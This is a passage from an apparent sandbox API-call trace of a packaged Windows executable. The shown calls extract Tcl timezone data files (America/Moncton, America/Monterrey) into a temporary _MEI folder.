lpNumberOfBytesWritten=0x4fcd6c*=0xba2, lpOverlapped=0x0) returned 1 [0039.249] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.249] CloseHandle (hObject=0x10c) returned 1 [0039.249] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.249] htonl (hostlong=0x30000000) returned 0x30 [0039.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.250] GetFileType (hFile=0x10c) returned 0x1 [0039.250] htonl (hostlong=0x65ae5900) returned 0x59ae65 [0039.250] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e5e65, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.250] htonl (hostlong=0xa9070000) returned 0x7a9 [0039.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7a9) returned 0x55e278 [0039.250] htonl (hostlong=0xa9070000) returned 0x7a9 [0039.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.250] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.250] htonl (hostlong=0xb5270000) returned 0x27b5 [0039.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x27b5) returned 0x561090 [0039.250] htonl (hostlong=0xa9070000) returned 0x7a9 [0039.250] htonl (hostlong=0xb5270000) returned 0x27b5 [0039.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563850 [0039.250] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563850 | out: hHeap=0x530000) returned 1 [0039.250] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.250] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.250] CloseHandle (hObject=0x10c) returned 1 [0039.250] GetLastError () returned 0x0 [0039.250] SetLastError (dwErrCode=0x0) [0039.250] GetLastError () returned 0x0 [0039.250] SetLastError (dwErrCode=0x0) [0039.250] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.250] GetFileType (hFile=0x10c) returned 0x1 [0039.251] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.251] CloseHandle (hObject=0x10c) returned 1 [0039.251] GetLastError () returned 0x0 [0039.251] SetLastError (dwErrCode=0x0) [0039.251] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.251] GetFileType (hFile=0x10c) returned 0x1 [0039.251] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.252] CloseHandle (hObject=0x10c) returned 1 [0039.252] GetLastError () returned 0x0 [0039.252] SetLastError (dwErrCode=0x0) [0039.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.252] GetFileType (hFile=0x10c) returned 0x1 [0039.252] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.252] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.252] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.252] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.252] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.252] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.252] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.252] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.252] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.252] CloseHandle (hObject=0x10c) returned 1 [0039.252] GetLastError () returned 0x0 [0039.252] SetLastError (dwErrCode=0x0) [0039.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Moncton") returned 72 [0039.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Moncton" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\moncton"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.252] GetLastError () returned 0x2 [0039.253] SetLastError (dwErrCode=0x2) [0039.253] GetLastError () returned 0x2 [0039.253] SetLastError (dwErrCode=0x2) [0039.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Moncton", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Moncton", lpFilePart=0x0) returned 0x47 [0039.253] GetLastError () returned 0x2 [0039.253] SetLastError (dwErrCode=0x2) [0039.253] GetLastError () returned 0x2 [0039.253] SetLastError (dwErrCode=0x2) [0039.253] GetLastError () returned 0x2 [0039.253] SetLastError (dwErrCode=0x2) [0039.253] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Moncton") returned 72 [0039.253] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Moncton" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\moncton"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.253] GetFileType (hFile=0x10c) returned 0x1 [0039.253] htonl (hostlong=0xb5270000) returned 0x27b5 [0039.253] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.254] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7b5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7b5, lpOverlapped=0x0) returned 1 [0039.254] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.254] CloseHandle (hObject=0x10c) returned 1 [0039.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.256] htonl (hostlong=0x30000000) returned 0x30 [0039.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.256] GetFileType (hFile=0x10c) returned 0x1 [0039.256] htonl (hostlong=0xeb65900) returned 0x59b60e [0039.256] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e660e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.256] htonl (hostlong=0x10050000) returned 0x510 [0039.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x510) returned 0x550600 [0039.256] htonl (hostlong=0x10050000) returned 0x510 [0039.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.257] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.257] htonl (hostlong=0x60190000) returned 0x1960 [0039.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1960) returned 0x561090 [0039.257] htonl (hostlong=0x10050000) returned 0x510 [0039.257] htonl (hostlong=0x60190000) returned 0x1960 [0039.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5629f8 [0039.257] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5629f8 | out: hHeap=0x530000) returned 1 [0039.257] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.257] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.257] CloseHandle (hObject=0x10c) returned 1 [0039.257] GetLastError () returned 0x0 [0039.257] SetLastError (dwErrCode=0x0) [0039.257] GetLastError () returned 0x0 [0039.258] SetLastError (dwErrCode=0x0) [0039.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.258] GetFileType (hFile=0x10c) returned 0x1 [0039.258] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.258] CloseHandle (hObject=0x10c) returned 1 [0039.258] GetLastError () returned 0x0 [0039.258] SetLastError (dwErrCode=0x0) [0039.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.258] GetFileType (hFile=0x10c) returned 0x1 [0039.258] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.259] CloseHandle (hObject=0x10c) returned 1 [0039.259] GetLastError () returned 0x0 [0039.259] SetLastError (dwErrCode=0x0) [0039.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.259] GetFileType (hFile=0x10c) returned 0x1 [0039.259] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.259] CloseHandle (hObject=0x10c) returned 1 [0039.259] GetLastError () returned 0x0 [0039.259] SetLastError (dwErrCode=0x0) [0039.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Monterrey") returned 74 [0039.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Monterrey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\monterrey"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.260] GetLastError () returned 0x2 [0039.260] SetLastError (dwErrCode=0x2) [0039.260] GetLastError () returned 0x2 [0039.260] SetLastError (dwErrCode=0x2) [0039.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Monterrey", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Monterrey", lpFilePart=0x0) returned 0x49 [0039.260] GetLastError () returned 0x2 [0039.260] SetLastError (dwErrCode=0x2) [0039.260] GetLastError () returned 0x2 [0039.260] SetLastError (dwErrCode=0x2) [0039.260] GetLastError () returned 0x2 [0039.260] SetLastError (dwErrCode=0x2) [0039.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Monterrey") returned 74 [0039.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Monterrey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\monterrey"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.260] GetFileType (hFile=0x10c) returned 0x1 [0039.260] htonl (hostlong=0x60190000) returned 0x1960 [0039.260] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.265] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.265] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x960, lpOverlapped=0x0) returned 1 [0039.266] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.266] CloseHandle (hObject=0x10c) returned 1 [0039.266] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.266] htonl (hostlong=0x30000000) returned 0x30 [0039.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.266] CreateFileW 